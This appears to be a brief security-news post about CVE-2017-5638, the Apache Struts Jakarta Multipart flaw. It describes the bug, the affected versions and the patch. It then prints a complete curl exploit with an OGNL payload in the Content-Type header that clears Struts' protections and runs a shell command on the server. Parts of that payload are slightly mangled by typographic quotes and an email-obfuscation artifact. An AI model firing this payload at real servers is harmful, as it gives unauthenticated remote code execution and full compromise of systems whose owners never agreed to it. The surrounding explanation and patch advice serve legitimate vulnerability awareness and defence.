Listen to this Post
How the mentioned CVE works:
The CVE-2017-5638 vulnerability exists in the Jakarta Multipart parser of Apache Struts. The flaw is triggered when flawed exception handling and error message generation occur during file upload. An attacker can craft a malicious `Content-Type` header value in an HTTP request. The parser incorrectly processes this header when attempting to handle an invalid file upload. This processing failure leads to the evaluation of attacker-supplied Object-Graph Navigation Language (OGNL) expressions within the error message. Since OGNL expressions can execute Java code, this allows an attacker to achieve remote code execution on the server with the privileges of the Struts application. The vulnerability is directly exploitable without any authentication, making it highly dangerous.
Platform: Apache Struts
Version: 2.3.5 – 2.3.31, 2.5 – 2.5.10
Vulnerability : Remote Code Execution
Severity: Critical
date: March 2017
Prediction: Patch Available
What Undercode Say:
`curl -H “Content-Type: %{(_=’multipart/form-data’).([email protected]@DEFAULT_MEMBER_ACCESS).(_memberAccess?(_memberAccess=dm):((container=context[‘com.opensymphony.xwork2.ActionContext.container’]).(ognlUtil=container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(ognlUtil.getExcludedPackageNames().clear()).(ognlUtil.getExcludedClasses().clear()).(context.setMemberAccess(dm)))).(cmd=’id’).(iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(cmds=(iswin?{‘cmd.exe’,’/c’,cmd}:{‘/bin/bash’,’-c’,cmd})).(p=new java.lang.ProcessBuilder(cmds)).(p.redirectErrorStream(true)).(process=p.start()).(ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(process.getInputStream(),ros)).(ros.flush())}” http://target.com/struts2-showcase/fileupload/doUpload.action`
How Exploit:
Craft malicious HTTP request with OGNL payload in Content-Type header.
Protection from this CVE:
Apply Struts patch. Upgrade to versions 2.3.32 or 2.5.10.1. Implement WAF rules.
Impact:
Full server compromise. Unauthorized data access. Complete system control.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
